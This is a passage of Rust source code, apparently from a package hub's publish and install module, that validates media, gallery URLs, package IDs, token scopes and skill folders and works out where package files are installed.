rel_path: rel_path.to_string(),
kind: kind.to_string(),
size_bytes: content.len(),
reason: reason.to_string(),
encoding: "text".to_string(),
content: Some(content),
artifact: None,
}
}
fn rewrite_project_libraries(
preview: &mut HubExportPreview,
selected_libraries: &[String],
) -> Result<(), PlatformError> {
let Some(entry) = preview.entries.iter_mut().find(|entry| {
normalize_repo_rel(&entry.rel_path) == crate::contracts::kinds::PROJECT_CONFIGURATION_FILE
}) else {
return Ok(());
};
let Some(raw) = entry_text(entry) else {
return Err(PlatformError::new(
"HUB_PUBLISH",
"zebflow.yaml must be a text entry",
));
};
let mut document =
crate::contracts::decode_contract_yaml::<ProjectConfigurationContract>(raw.as_bytes())
.map_err(|err| {
PlatformError::new("HUB_PUBLISH", format!("invalid zebflow.yaml: {err}"))
})?;
let cfg = &mut document.spec;
let selected = selected_libraries.iter().cloned().collect::<BTreeSet<_>>();
cfg.rwe.libraries.retain(|name, _| selected.contains(name));
let content = String::from_utf8(
crate::contracts::encode_contract_yaml::<ProjectConfigurationContract>(
document.metadata,
document.spec,
)
.map_err(|err| PlatformError::new("HUB_PUBLISH", err.to_string()))?,
)
.map_err(|err| PlatformError::new("HUB_PUBLISH", err.to_string()))?;
entry.size_bytes = content.len();
entry.encoding = "text".to_string();
entry.content = Some(content);
Ok(())
}
fn hub_cover_webp_from_path(
layout: &ProjectFileLayout,
image_file_path: &str,
publisher: &HubPublisher,
) -> Result<Option<(String, Vec<u8>)>, PlatformError> {
let image_file_path = image_file_path.trim();
if image_file_path.is_empty() {
return Ok(None);
}
let rel = normalize_object_path(image_file_path)
.map_err(|err| PlatformError::new("HUB_MEDIA_INVALID", err.to_string()))?;
let zebfs = layout.open_files();
let object = zebfs
.get(&rel)
.map_err(|err| PlatformError::new("HUB_MEDIA_MISSING", err.to_string()))?;
image_content_type_from_path(&rel)?;
let max_image_bytes =
normalize_limit(publisher.max_image_bytes, DEFAULT_PUBLISHER_MAX_IMAGE_BYTES) as usize;
let webp_bytes = normalize_hub_cover_to_webp(&object.bytes)?;
if webp_bytes.len() > max_image_bytes {
return Err(PlatformError::new(
"HUB_PUBLISHER_QUOTA_EXCEEDED",
"webp cover image exceeds publisher max image bytes",
));
}
Ok(Some((HUB_COVER_MEDIA_NAME.to_string(), webp_bytes)))
}
fn hub_cover_media_review(
layout: &ProjectFileLayout,
image_file_path: &str,
publisher: &HubPublisher,
) -> Result<Vec<HubPublishMediaReview>, PlatformError> {
let Some((name, bytes)) = hub_cover_webp_from_path(layout, image_file_path, publisher)? else {
return Ok(Vec::new());
};
Ok(vec![HubPublishMediaReview {
name,
role: "cover".to_string(),
content_type: HUB_COVER_MEDIA_TYPE.to_string(),
size_bytes: bytes.len(),
}])
}
fn decode_remote_hub_media(
media: &[RemoteHubPublishMedia],
publisher: &HubPublisher,
) -> Result<Vec<(HubAssetMedia, Vec<u8>)>, PlatformError> {
let max_media_files =
normalize_limit(publisher.max_media_files, DEFAULT_PUBLISHER_MAX_MEDIA_FILES) as usize;
if media.len() > max_media_files {
return Err(PlatformError::new(
"HUB_PUBLISHER_QUOTA_EXCEEDED",
"media file count exceeds publisher limit",
));
}
let max_image_bytes =
normalize_limit(publisher.max_image_bytes, DEFAULT_PUBLISHER_MAX_IMAGE_BYTES) as usize;
let mut out = Vec::with_capacity(media.len());
for item in media {
let normalized_name = normalize_media_name(&item.name)?;
if normalized_name != item.name {
return Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"media name is not normalized",
));
}
if item.encoding != "base64" {
return Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"media encoding must be base64",
));
}
validate_image_content_type(&item.content_type)?;
if item.size_bytes > max_image_bytes {
return Err(PlatformError::new(
"HUB_PUBLISHER_QUOTA_EXCEEDED",
"image exceeds publisher max image bytes",
));
}
let bytes = base64::engine::general_purpose::STANDARD
.decode(&item.content)
.map_err(|err| PlatformError::new("HUB_MEDIA_INVALID", err.to_string()))?;
if bytes.len() != item.size_bytes || sha256_hex(&bytes) != item.sha256 {
return Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"media size or hash does not match content",
));
}
if bytes.len() > max_image_bytes {
return Err(PlatformError::new(
"HUB_PUBLISHER_QUOTA_EXCEEDED",
"image exceeds publisher max image bytes",
));
}
out.push((
HubAssetMedia {
name: item.name.clone(),
role: item.role.clone(),
content_type: item.content_type.clone(),
size_bytes: bytes.len(),
artifact_sha256: sha256_hex(&bytes),
},
bytes,
));
}
Ok(out)
}
fn validate_hub_gallery(
gallery: &HubAssetGallery,
media: &[HubAssetMedia],
) -> Result<(), PlatformError> {
let media_names = media
.iter()
.map(|item| item.name.as_str())
.collect::<BTreeSet<_>>();
if let Some(cover) = &gallery.cover {
if cover.kind.trim() != "image" {
return Err(PlatformError::new(
"HUB_GALLERY_INVALID",
"gallery cover kind must be image",
));
}
validate_gallery_media_ref(&cover.media_name, &media_names)?;
}
for item in &gallery.items {
match item.kind.trim() {
"image" => validate_gallery_media_ref(&item.media_name, &media_names)?,
"youtube" => validate_youtube_url(&item.url)?,
_ => {
return Err(PlatformError::new(
"HUB_GALLERY_INVALID",
"gallery item kind must be image or youtube",
));
}
}
}
Ok(())
}
#[allow(clippy::too_many_arguments)]
fn review_publish_entries(
layout: &ResolvedProjectLayout,
asset_kind: &str,
entries: &[HubPackageFile],
warnings: Vec<String>,
title: &str,
description: &str,
has_cover_image: bool,
artifacts: &HubArtifactChannel,
) -> PackageSafetyReview {
let policy_entries = entries
.iter()
.map(|entry| package_policy_entry(&entry.rel_path, entry, artifacts))
.collect::<Vec<_>>();
review_package_entries(
layout,
&policy_entries,
warnings,
PackageReviewOptions {
publish_mode: true,
require_title: true,
require_description: true,
require_cover_image: true,
title: title.to_string(),
description: description.to_string(),
has_cover_image,
bundle_internal_paths: asset_kind == HUB_ASSET_KIND_NODE_BUNDLE,
},
)
}
fn publish_review_layout(source: &ResolvedProjectLayout) -> ResolvedProjectLayout {
ResolvedProjectLayout {
allowed_extensions: ResolvedProjectLayout::platform_default().allowed_extensions,
..source.clone()
}
}
fn refuse_publish_violations(
code: &'static str,
review: &PackageSafetyReview,
) -> Result<(), PlatformError> {
if review.is_installable() {
return Ok(());
}
Err(PlatformError::new(
code,
format!(
"package cannot be published: {}",
review.violations.join("; ")
),
))
}
fn review_publish_artifact(
layout: &ResolvedProjectLayout,
package_id: String,
version: String,
preview: HubExportPreview,
title: String,
description: String,
visibility: String,
tags: Vec<String>,
media: Vec<HubPublishMediaReview>,
project_initialization: HubPackageInitialization,
artifacts: &HubArtifactChannel,
) -> Result<HubPublishReview, PlatformError> {
let policy = review_publish_entries(
layout,
&preview.asset_kind,
&preview.entries,
preview.warnings.clone(),
&title,
&description,
!media.is_empty(),
artifacts,
);
Ok(HubPublishReview {
package_id,
version,
asset_kind: preview.asset_kind.clone(),
source_type: preview.source_type.clone(),
source_ref: preview.source_ref.clone(),
title,
description,
visibility,
tags,
total_files: preview.total_files,
total_bytes: preview.total_bytes,
files: preview.entries.clone(),
media,
nodes_used: policy.nodes_used,
credentials_required: policy.credentials_required,
external_urls: policy.external_urls,
database_effects: policy.database_effects,
filesystem_effects: policy.filesystem_effects,
network_effects: policy.network_effects,
code_execution: policy.code_execution,
public_endpoints: policy.public_endpoints,
schedules: policy.schedules,
large_files: policy.large_files,
seed_data: policy.seed_data,
database_initialization: policy.database_initialization,
project_initialization: serde_json::to_value(project_initialization)
.map_err(|err| PlatformError::new("HUB_PUBLISH_REVIEW", err.to_string()))?,
warnings: policy.warnings,
violations: policy.violations,
risk_level: policy.risk_level,
})
}
fn normalize_hub_cover_to_webp(bytes: &[u8]) -> Result<Vec<u8>, PlatformError> {
const MAX_DIM: u32 = 8000;
const MAX_DECODED_BYTES: u64 = 128 * 1024 * 1024;
let (w, h) = image::ImageReader::new(Cursor::new(bytes))
.with_guessed_format()
.map_err(|err| PlatformError::new("HUB_MEDIA_INVALID", err.to_string()))?
.into_dimensions()
.map_err(|err| PlatformError::new("HUB_MEDIA_INVALID", err.to_string()))?;
if w == 0 || h == 0 || w > MAX_DIM || h > MAX_DIM {
return Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"cover image dimensions are invalid or too large",
));
}
if (w as u64) * (h as u64) * 4 > MAX_DECODED_BYTES {
return Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"cover image decoded size is too large",
));
}
let image = image::ImageReader::new(Cursor::new(bytes))
.with_guessed_format()
.map_err(|err| PlatformError::new("HUB_MEDIA_INVALID", err.to_string()))?
.decode()
.map_err(|err| PlatformError::new("HUB_MEDIA_INVALID", err.to_string()))?;
let image = fit_hub_cover(image, 1200, 675);
let mut out = Vec::new();
image
.write_to(&mut Cursor::new(&mut out), ImageFormat::WebP)
.map_err(|err| PlatformError::new("HUB_MEDIA_INVALID", err.to_string()))?;
Ok(out)
}
fn fit_hub_cover(img: DynamicImage, max_w: u32, max_h: u32) -> DynamicImage {
let (w, h) = img.dimensions();
if w <= max_w && h <= max_h {
return img;
}
img.resize(max_w, max_h, FilterType::Lanczos3)
}
fn validate_gallery_media_ref(
media_name: &str,
media_names: &BTreeSet<&str>,
) -> Result<(), PlatformError> {
let normalized = normalize_media_name(media_name)?;
if normalized != media_name {
return Err(PlatformError::new(
"HUB_GALLERY_INVALID",
"gallery media name is not normalized",
));
}
if !media_names.contains(media_name) {
return Err(PlatformError::new(
"HUB_GALLERY_INVALID",
"gallery image must reference an existing media item",
));
}
Ok(())
}
fn validate_youtube_url(input: &str) -> Result<(), PlatformError> {
let url = reqwest::Url::parse(input.trim()).map_err(|_| {
PlatformError::new("HUB_GALLERY_INVALID", "youtube URL must be a valid URL")
})?;
if url.scheme() != "https" {
return Err(PlatformError::new(
"HUB_GALLERY_INVALID",
"youtube URL must use https",
));
}
let host = url.host_str().unwrap_or_default().to_ascii_lowercase();
let ok_host = matches!(
host.as_str(),
"youtube.com" | "www.youtube.com" | "youtu.be" | "m.youtube.com"
);
if !ok_host {
return Err(PlatformError::new(
"HUB_GALLERY_INVALID",
"gallery video URL must be a YouTube URL",
));
}
Ok(())
}
fn normalize_media_name(input: &str) -> Result<String, PlatformError> {
let value = input.trim();
if value.is_empty()
|| value.contains('/')
|| value.contains('\\')
|| value.contains('\0')
|| value == "."
|| value == ".."
{
return Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"media name must be a plain file name",
));
}
Ok(value.to_string())
}
fn image_content_type_from_path(path: &str) -> Result<String, PlatformError> {
let ext = Path::new(path)
.extension()
.and_then(|value| value.to_str())
.unwrap_or_default()
.to_ascii_lowercase();
let content_type = match ext.as_str() {
"png" => "image/png",
"jpg" | "jpeg" => "image/jpeg",
"webp" => "image/webp",
"gif" => "image/gif",
_ => {
return Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"package image must be png, jpg, webp, or gif",
));
}
};
Ok(content_type.to_string())
}
fn normalize_hub_id_segment(raw: &str, label: &str) -> Result<String, PlatformError> {
let mut out = String::new();
let mut last_dash = false;
for c in raw.trim().to_ascii_lowercase().chars() {
if c.is_ascii_alphanumeric() {
out.push(c);
last_dash = false;
} else if c == '-' || c == '_' || c.is_ascii_whitespace() {
if !last_dash && !out.is_empty() {
out.push('-');
last_dash = true;
}
} else if !last_dash && !out.is_empty() {
out.push('-');
last_dash = true;
}
}
let value = out.trim_matches('-').to_string();
if value.is_empty() {
return Err(PlatformError::new(
"HUB_ID_INVALID",
format!("{label} must contain at least one alphanumeric character"),
));
}
Ok(value)
}
fn canonical_hub_package_id(
publisher_id: &str,
raw_package_id: &str,
) -> Result<String, PlatformError> {
let publisher = normalize_hub_id_segment(publisher_id, "publisher id")?;
let trimmed = raw_package_id.trim();
let asset_raw = if let Some((prefix, rest)) = trimmed.split_once('.') {
let normalized_prefix = normalize_hub_id_segment(prefix, "package publisher prefix")?;
if normalized_prefix != publisher {
return Err(PlatformError::new(
"HUB_PACKAGE_ID_INVALID",
"package id must use the selected publisher prefix",
));
}
rest
} else {
trimmed
};
let asset = normalize_hub_id_segment(asset_raw, "asset slug")?;
Ok(format!("{publisher}.{asset}"))
}
fn validate_image_content_type(content_type: &str) -> Result<(), PlatformError> {
match content_type.trim().to_ascii_lowercase().as_str() {
"image/png" | "image/jpeg" | "image/webp" | "image/gif" => Ok(()),
_ => Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"media content type is not an allowed image type",
)),
}
}
fn normalize_visibility(input: &str) -> String {
match input.trim().to_ascii_lowercase().as_str() {
"public" => "public".to_string(),
"unlisted" => "unlisted".to_string(),
_ => "private".to_string(),
}
}
const HUB_TOKEN_SCOPES: &str = "hub:read, hub:publish, hub:manage";
fn normalize_scopes(input: &[String]) -> Result<Vec<String>, PlatformError> {
let mut out = Vec::with_capacity(input.len());
for raw in input {
let scope = raw.trim().to_ascii_lowercase();
match scope.as_str() {
"hub:read" | "hub:publish" | "hub:manage" => out.push(scope),
_ => {
return Err(PlatformError::new(
"HUB_TOKEN_SCOPE_INVALID",
format!(
"'{}' is not a hub token scope; accepted scopes are {HUB_TOKEN_SCOPES}",
raw.trim()
),
));
}
}
}
out.sort();
out.dedup();
if out.is_empty() {
return Err(PlatformError::new(
"HUB_TOKEN_SCOPE_INVALID",
format!("a token needs at least one scope; accepted scopes are {HUB_TOKEN_SCOPES}"),
));
}
Ok(out)
}
fn validate_publisher_scopes(
publisher: &HubPublisher,
scopes: &[String],
) -> Result<(), PlatformError> {
for scope in scopes {
let allowed = match scope.as_str() {
"hub:read" => publisher.can_read,
"hub:publish" => publisher.can_publish,
"hub:manage" => publisher.can_manage,
_ => false,
};
if !allowed {
return Err(PlatformError::new(
"HUB_PUBLISHER_SCOPE_DENIED",
"publisher is not allowed to create a token with the requested scope",
));
}
}
Ok(())
}
fn apply_scope_flags(mut token: HubToken) -> HubToken {
token.scope_read = token.scopes.iter().any(|scope| scope == "hub:read");
token.scope_publish = token.scopes.iter().any(|scope| scope == "hub:publish");
token.scope_manage = token.scopes.iter().any(|scope| scope == "hub:manage");
token
}
fn normalize_publisher_url(publisher_id: &str, explicit: &str) -> String {
let trimmed = explicit.trim();
if !trimmed.is_empty() {
trimmed.to_string()
} else if publisher_id.is_empty() {
String::new()
} else {
format!("/publishers/{publisher_id}")
}
}
fn normalize_source_type(input: &str) -> String {
match input.trim() {
"template_with_dependencies" => "template_with_dependencies".to_string(),
"folder_files" => "folder_files".to_string(),
"project_files" => "project_files".to_string(),
"skill_folder" => "skill_folder".to_string(),
_ => "pipeline_with_dependencies".to_string(),
}
}
fn skill_folder_name(source_rel: &str) -> Result<String, PlatformError> {
let rel = normalize_repo_rel(source_rel);
let name = rel
.strip_prefix(&format!("{}/", crate::platform::skills::PROJECT_SKILLS_DIR))
.unwrap_or(&rel);
if name.is_empty() || name.contains('/') || !crate::platform::skills::valid_name(name) {
return Err(PlatformError::new(
"HUB_SKILL_INVALID",
format!(
"a skill is one folder under skills/ named a-z0-9- (got '{source_rel}'); publish skills/<name>"
),
));
}
Ok(name.to_string())
}
#[derive(Debug)]
struct SkillShape {
description: String,
}
fn validate_skill_entries(
name: &str,
entries: &[HubPackageFile],
) -> Result<SkillShape, PlatformError> {
let prefix = format!("{}/{name}/", crate::platform::skills::PROJECT_SKILLS_DIR);
let stray = entries
.iter()
.find(|e| !normalize_repo_rel(&e.rel_path).starts_with(&prefix));
if let Some(entry) = stray {
return Err(PlatformError::new(
"HUB_SKILL_INVALID",
format!("'{}' is outside skills/{name}/; a skill package carries that folder only", entry.rel_path),
));
}
let skill_md = entries
.iter()
.find(|e| normalize_repo_rel(&e.rel_path) == format!("{prefix}{}", crate::platform::skills::SKILL_FILE))
.ok_or_else(|| {
PlatformError::new("HUB_SKILL_INVALID", format!("skills/{name}/SKILL.md is missing"))
})?;
let text = match skill_md.supply() {
Some(crate::contracts::kinds::HubPackageFileSupply::Carried(content)) => content.to_string(),
_ => {
return Err(PlatformError::new(
"HUB_SKILL_INVALID",
"SKILL.md must be carried as text inside the package",
));
}
};
let fm = crate::platform::skills::parse_frontmatter(&text);
if fm.name.as_deref() != Some(name) {
return Err(PlatformError::new(
"HUB_SKILL_INVALID",
format!(
"SKILL.md frontmatter name '{}' must equal the folder name '{name}'",
fm.name.unwrap_or_default()
),
));
}
let description = fm.description.unwrap_or_default();
if description.trim().is_empty() || description.len() > crate::platform::skills::MAX_DESCRIPTION_CHARS {
return Err(PlatformError::new(
"HUB_SKILL_INVALID",
format!(
"SKILL.md needs a description of 1–{} characters saying when to use the skill",
crate::platform::skills::MAX_DESCRIPTION_CHARS
),
));
}
if fm.license.as_deref().map(str::trim).unwrap_or("").is_empty() {
return Err(PlatformError::new(
"HUB_SKILL_INVALID",
"SKILL.md needs a license (an SPDX id such as MIT or Apache-2.0, or proprietary)",
));
}
let lines = fm.body.lines().count();
if lines > crate::platform::skills::MAX_BODY_LINES {
return Err(PlatformError::new(
"HUB_SKILL_INVALID",
format!(
"SKILL.md body is {lines} lines; a skill stays under {} — move detail into references/",
crate::platform::skills::MAX_BODY_LINES
),
));
}
Ok(SkillShape { description })
}
fn validate_hub_asset_kind(input: &str) -> Result<String, PlatformError> {
let value = input.trim();
if HUB_ASSET_KINDS.contains(&value) {
Ok(value.to_string())
} else {
Err(PlatformError::new(
"HUB_ASSET_KIND_INVALID",
format!("asset kind must be one of: {}", HUB_ASSET_KINDS.join(", ")),
))
}
}
fn normalize_platform_source_visibility(input: &str) -> String {
match input.trim().to_ascii_lowercase().as_str() {
"private" => "private".to_string(),
_ => "public".to_string(),
}
}
fn normalize_hub_grant_scope(input: &str) -> Result<String, PlatformError> {
match input.trim() {
"all_projects" => Ok("all_projects".to_string()),
"selected_project" => Ok("selected_project".to_string()),
_ => Err(PlatformError::new(
"HUB_ACCESS_GRANT_INVALID",
"grant_scope must be all_projects or selected_project",
)),
}
}
fn normalize_limit(value: i64, default_value: i64) -> i64 {
if value <= 0 { default_value } else { value }
}
fn retraction_message(package_id: &str, version: &str, reason: &str) -> String {
let reason = reason.trim();
if reason.is_empty() {
format!("{package_id}@{version} was retracted by its publisher and its bytes are gone")
} else {
format!(
"{package_id}@{version} was retracted by its publisher and its bytes are gone: {reason}"
)
}
}
fn validate_hub_version(version: &str) -> Result<(), PlatformError> {
let valid = !version.is_empty()
&& version.len() <= 80
&& version
.bytes()
.all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'.' | b'-' | b'_'))
&& !version.contains("..");
if valid {
Ok(())
} else {
Err(PlatformError::new(
"HUB_PUBLISH_INVALID",
"version must be a safe path segment",
))
}
}
fn random_hex(bytes: usize) -> String {
let mut data = vec![0u8; bytes];
rand::rng().fill(data.as_mut_slice());
data.into_iter()
.map(|b| format!("{b:02x}"))
.collect::<String>()
}
fn sha256_hex(input: &[u8]) -> String {
let mut hasher = Sha256::new();
hasher.update(input);
hex_lower(&hasher.finalize())
}
fn hex_lower(bytes: &[u8]) -> String {
bytes.iter().map(|b| format!("{b:02x}")).collect()
}
fn normalize_repo_rel(input: &str) -> String {
contained_rel_path(input)
}
fn normalize_template_repo_rel(layout: &ResolvedProjectLayout, input: &str) -> String {
let rel = normalize_repo_rel(input);
if rel.is_empty() || layout.is_in_source(&rel) {
rel
} else {
layout.source_rel(&rel)
}
}
fn read_repo_entry(
layout: &ProjectFileLayout,
rel_path: &str,
reason: String,
) -> Result<HubPackageFile, PlatformError> {
let rel_path = normalize_repo_rel(rel_path);
let abs = layout.repo_dir.join(&rel_path);
if !abs.starts_with(&layout.repo_dir) || !abs.is_file() {
return Err(PlatformError::new(
"HUB_ENTRY_MISSING",
format!("file '{}' not found", rel_path),
));
}
let bytes = fs::read(&abs)?;
let size_bytes = bytes.len();
let (encoding, content) = match String::from_utf8(bytes.clone()) {
Ok(text) => ("text".to_string(), text),
Err(_) => (
"base64".to_string(),
base64::engine::general_purpose::STANDARD.encode(bytes),
),
};
Ok(HubPackageFile {
rel_path,
kind: file_kind_from_path(&abs),
size_bytes,
reason,
encoding,
content: Some(content),
artifact: None,
})
}
fn list_repo_folders(layout: &ProjectFileLayout) -> Result<Vec<String>, PlatformError> {
let mut out = Vec::new();
walk_dirs(&layout.repo_dir, &layout.repo_dir, &mut out)?;
out.sort();
Ok(out)
}
fn walk_dirs(root: &Path, current: &Path, out: &mut Vec<String>) -> Result<(), PlatformError> {
let mut entries = fs::read_dir(current)?.collect::<Result<Vec<_>, _>>()?;
entries.sort_by_key(|item| item.path());
for entry in entries {
let path = entry.path();
let name = entry.file_name();
let name = name.to_string_lossy();
if name.starts_with(".git") {
continue;
}
if path.is_dir() {
if let Ok(rel) = path.strip_prefix(root) {
let rel = rel.to_string_lossy().replace('\\', "/");
if !rel.is_empty() {
out.push(rel);
}
}
walk_dirs(root, &path, out)?;
}
}
Ok(())
}
fn collect_tree_entries(
layout: &ProjectFileLayout,
rel_root: &str,
) -> Result<Vec<HubPackageFile>, PlatformError> {
let rel_root = normalize_repo_rel(rel_root);
let base = if rel_root.is_empty() || rel_root == "." {
layout.repo_dir.clone()
} else {
layout.repo_dir.join(&rel_root)
};
if !base.starts_with(&layout.repo_dir) || !base.exists() {
return Err(PlatformError::new(
"HUB_SOURCE_INVALID",
format!("path '{}' not found", rel_root),
));
}
let mut files = Vec::new();
walk_files(&layout.repo_dir, &base, &mut files)?;
Ok(files
.into_iter()
.map(|item| read_repo_entry(layout, &item, "included file".to_string()))
.collect::<Result<Vec<_>, _>>()?)
}
fn walk_files(root: &Path, current: &Path, out: &mut Vec<String>) -> Result<(), PlatformError> {
if current.is_file() {
let rel = current
.strip_prefix(root)
.map_err(|_| PlatformError::new("HUB_SOURCE_INVALID", "path escaped repo root"))?;
out.push(rel.to_string_lossy().replace('\\', "/"));
return Ok(());
}
let mut entries = fs::read_dir(current)?.collect::<Result<Vec<_>, _>>()?;
entries.sort_by_key(|item| item.path());
for entry in entries {
let path = entry.path();
let name = entry.file_name();
let name = name.to_string_lossy();
if name == ".git" {
continue;
}
if path.is_dir() {
walk_files(root, &path, out)?;
} else if path.is_file() {
let rel = path
.strip_prefix(root)
.map_err(|_| PlatformError::new("HUB_SOURCE_INVALID", "path escaped repo root"))?;
out.push(rel.to_string_lossy().replace('\\', "/"));
}
}
Ok(())
}
fn resolve_local_import(
layout: &ProjectFileLayout,
from_rel: &str,
import_src: &str,
) -> Option<String> {
let candidates = if let Some(rest) = import_src.strip_prefix("@/") {
candidate_paths(rest)
} else if import_src.starts_with('.') {
let parent = Path::new(from_rel)
.parent()
.unwrap_or_else(|| Path::new(""));
let joined = parent.join(import_src);
let rel = joined.to_string_lossy().replace('\\', "/");
candidate_paths(&rel)
} else {
return None;
};
for rel in candidates {
let rel = normalize_repo_rel(&rel);
let abs = layout.repo_source_dir().join(
layout
.repo_layout
.strip_source(&rel)
.unwrap_or(rel.as_str()),
);
if abs.is_file() {
return Some(normalize_template_repo_rel(&layout.repo_layout, &rel));
}
let repo_abs = layout.repo_dir.join(&rel);
if repo_abs.is_file() {
return Some(rel);
}
}
None
}
fn candidate_paths(base: &str) -> Vec<String> {
let base = normalize_repo_rel(base);
let mut out = vec![base.clone()];
if Path::new(&base).extension().is_none() {
for ext in [".tsx", ".ts", ".jsx", ".js", ".css", ".sql", ".json"] {
out.push(format!("{base}{ext}"));
}
for ext in [
"index.tsx",
"index.ts",
"index.jsx",
"index.js",
"index.css",
] {
out.push(format!("{base}/{ext}"));
}
}
out
}
fn file_kind_from_path(path: &Path) -> String {
match path
.extension()
.and_then(|ext| ext.to_str())
.unwrap_or_default()
{
"tsx" => "tsx".to_string(),
"ts" => "ts".to_string(),
"js" => "js".to_string(),
"jsx" => "jsx".to_string(),
"css" => "css".to_string(),
"json" => "json".to_string(),
"sql" => "sql".to_string(),
other if !other.is_empty() => other.to_string(),
_ => "file".to_string(),
}
}
fn install_root_for_target_folder(
layout: &ResolvedProjectLayout,
package_id: &str,
asset_kind: &str,
target_folder: &str,
) -> String {
let folder = target_folder.trim();
if !folder.is_empty() {
return normalize_install_target_folder(layout, folder, asset_kind);
}
default_install_target_folder(layout, package_id, asset_kind)
}
fn normalize_install_target_folder(
layout: &ResolvedProjectLayout,
target_folder: &str,
asset_kind: &str,
) -> String {
let folder = normalize_repo_rel(target_folder);
if folder.is_empty() {
return ".".to_string();
}
if asset_kind != HUB_ASSET_KIND_NODE_BUNDLE
&& asset_kind != HUB_ASSET_KIND_RWE_LIBRARY
&& !layout.is_in_source(&folder)
&& folder != layout.source
{
return layout.source_rel(&folder);
}
folder
}
fn default_install_target_folder(
layout: &ResolvedProjectLayout,
package_id: &str,
asset_kind: &str,
) -> String {
if asset_kind == HUB_ASSET_KIND_NODE_BUNDLE {
format!("nodes/{package_id}")
} else if asset_kind == HUB_ASSET_KIND_RWE_LIBRARY {
format!("rwe-libraries/{package_id}")
} else {
layout.source_rel(&format!("hub/{package_id}"))
}
}
fn hub_install_base(layout: &ProjectFileLayout, asset_kind: &str) -> PathBuf {
if asset_kind == HUB_ASSET_KIND_NODE_BUNDLE || asset_kind == HUB_ASSET_KIND_RWE_LIBRARY {
layout.data_hub_dir()
} else {
layout.repo_dir.clone()
}
}
fn join_repo_rel(root: &str, rest: &str) -> String {
if root.is_empty() || root == "." {
rest.to_string()
} else if rest.is_empty() {
root.to_string()
} else {
format!("{root}/{rest}")
}
}
enum HubInstallPlacement {
Verbatim { install_root: String },
Project {
publisher: ResolvedProjectLayout,
target: ResolvedProjectLayout,
install_root: String,
folder: String,
},
}
impl HubInstallPlacement {
fn whole_project() -> Self {
Self::Verbatim {
install_root: String::new(),
}
}
fn new(
target: &ResolvedProjectLayout,
payload: &HubPackageSpec,
package_id: &str,
target_folder: &str,
) -> Self {
let install_root =
install_root_for_target_folder(target, package_id, &payload.asset_kind, target_folder);
if payload.asset_kind == HUB_ASSET_KIND_NODE_BUNDLE
|| payload.asset_kind == HUB_ASSET_KIND_RWE_LIBRARY
{
return Self::Verbatim { install_root };
}
if payload.asset_kind == HUB_ASSET_KIND_SKILL {
return Self::Verbatim {
install_root: target.source_rel(""),
};
}
let folder = target
.strip_source(&install_root)
.unwrap_or(if install_root == target.source {
""
} else {
install_root.as_str()
})
.to_string();
Self::Project {
publisher: publisher_layout(payload),
target: target.clone(),
install_root,
folder,
}
}
fn install_root(&self) -> &str {
match self {
Self::Verbatim { install_root } => install_root,
Self::Project { install_root, .. } => install_root,
}
}
fn destination(&self, rel_path: &str) -> String {
let rel = normalize_repo_rel(rel_path);
let (publisher, target, install_root, folder) = match self {
Self::Verbatim { install_root } => return join_repo_rel(install_root, &rel),
Self::Project {
publisher,
target,
install_root,
folder,
} => (publisher, target, install_root, folder),
};
if let Some(rest) = strip_dir_prefix(&publisher.r#static, &rel) {
return join_repo_rel(&join_repo_rel(&target.r#static, folder), rest);
}
if let Some(rest) = strip_dir_prefix(&publisher.docs, &rel) {
return join_repo_rel(&join_repo_rel(&target.docs, folder), rest);
}
if let Some(rest) = publisher.strip_source(&rel) {
return join_repo_rel(install_root, rest);
}
if let Some(rest) = rel.strip_prefix("templates/") {
return join_repo_rel(install_root, rest);
}
join_repo_rel(install_root, &rel)
}
}
fn publisher_layout(payload: &HubPackageSpec) -> ResolvedProjectLayout {
let declared = payload.layout.clone().unwrap_or_default();
ZebflowJsonLayout {
source: declared.source,
r#static: declared.r#static,
docs: declared.docs,
schema: declared.schema,
sqlite_schema: declared.sqlite_schema,
node_interfaces: declared.node_interfaces,
initial_data: None,
allowed_extensions: None,
}
.resolve()
}
const HUB_PUBLISH_REFERENCE_THRESHOLD_BYTES: usize = 1024 * 1024;
fn reference_large_publish_entries(
entries: &mut [HubPackageFile],
) -> Result<Vec<Vec<u8>>, PlatformError> {
let mut referenced = Vec::new();
for entry in entries.iter_mut() {
if entry.size_bytes <= HUB_PUBLISH_REFERENCE_THRESHOLD_BYTES {
continue;
}
let Some(HubPackageFileSupply::Carried(content)) = entry.supply() else {
continue;
};
let bytes = if entry.encoding == "base64" {
base64::engine::general_purpose::STANDARD
.decode(content)
.map_err(|err| {
PlatformError::new(
"HUB_PUBLISH",
format!("file '{}' is not base64: {err}", entry.rel_path),
)
})?
} else {
content.as_bytes().to_vec()
};
let sha256 = sha256_hex(&bytes);
entry.encoding = String::new();
entry.content = None;
entry.artifact = Some(HubPackageArtifactRef {
sha256,
media_type: artifact_media_type_from_path(&entry.rel_path),
});
referenced.push(bytes);
}
Ok(referenced)
}
fn artifact_media_type_from_path(rel_path: &str) -> String {
let ext = Path::new(rel_path)
.extension()
.and_then(|value| value.to_str())
.unwrap_or_default()
.to_ascii_lowercase();
match ext.as_str() {
"wasm" => "application/wasm",
"png" => "image/png",
"jpg" | "jpeg" => "image/jpeg",
"webp" => "image/webp",
"gif" => "image/gif",
"svg" => "image/svg+xml",
"pdf" => "application/pdf",
"zip" => "application/zip",
"woff2" => "font/woff2",
"woff" => "font/woff",
"ttf" => "font/ttf",
"mp4" => "video/mp4",
"mp3" => "audio/mpeg",
_ => "application/octet-stream",
}
.to_string()
}
fn recorded_publisher_layout(layout: &ResolvedProjectLayout) -> HubPackageLayout {
HubPackageLayout {
source: Some(layout.source.clone()),
r#static: Some(layout.r#static.clone()),
docs: Some(layout.docs.clone()),
schema: Some(layout.schema.clone()),
sqlite_schema: Some(layout.sqlite_schema.clone()),
node_interfaces: Some(layout.node_interfaces.clone()),
}
}
fn hub_entry_bytes(
entry: &HubPackageFile,
artifacts: &HubArtifactChannel,
) -> Result<Vec<u8>, PlatformError> {
match entry.supply() {
Some(HubPackageFileSupply::Carried(content)) if entry.encoding == "base64" => {
base64::engine::general_purpose::STANDARD
.decode(content)
.map_err(|err| PlatformError::new("HUB_INSTALL", err.to_string()))
}
Some(HubPackageFileSupply::Carried(content)) => Ok(content.as_bytes().to_vec()),
